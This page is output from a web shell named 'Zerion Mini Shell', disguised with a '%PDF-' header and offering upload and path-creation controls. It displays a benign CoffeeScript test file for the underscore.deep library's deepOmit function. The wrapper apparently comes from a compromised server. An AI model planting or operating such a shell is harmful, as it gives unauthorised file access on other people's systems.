%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/opti/workflow/node_modules/underscore.deep/test/
Upload File :
Create Path :
Current File : /home/opti/workflow/node_modules/underscore.deep/test/deepOmit.coffee

assert = require 'assert'
_ = require('underscore')
_.mixin require('../underscore.deep.js')
h = require './helpers'

describe '_.deepOmit', ->

  h.it_throws_on_non_objects (input) -> _.deepOmit input, []

  _.each [
    [{},                      ['a'],            {}]
    [{ a: 1 },                ['a'],            {}]
    [{ a: 1 },                [],               { a: 1 }]
    [{ a: 1 },                ['b'],            { a: 1 }]
    [{ a: 1, b: 1 },          ['a'],            { b: 1 }]
    [{ a: { b: 1 }},          ['a.b'],          { a: {} }]
    [{ a: { b: 1 }},          ['a'],            {}]
    [{ a: { b: 1 }},          ['a.b', 'a'],     {}]
    [{ a: { b: 1 }},          ['a', 'a.b'],     {}]
    [{ a: { b: 1, c: 'c' }},  ['a.c'],          { a: { b: 1 }}]
    [{ a: { b: { c: null }}}, ['a.b.c'],        { a: { b: {}}}]
    [{ a: { b: { c: null }}}, ['a.b.c', 'a.b'], { a: {}}]
    [{ long: { longer: {}}},  ['long.longer'],  { long: {}}]
  ], ([obj, keys, expected]) ->
    it "returns #{JSON.stringify expected} for object: #{JSON.stringify obj}, keys: #{JSON.stringify keys}", ->
      assert.deepEqual _.deepOmit(obj, keys), expected

Zerion Mini Shell 1.0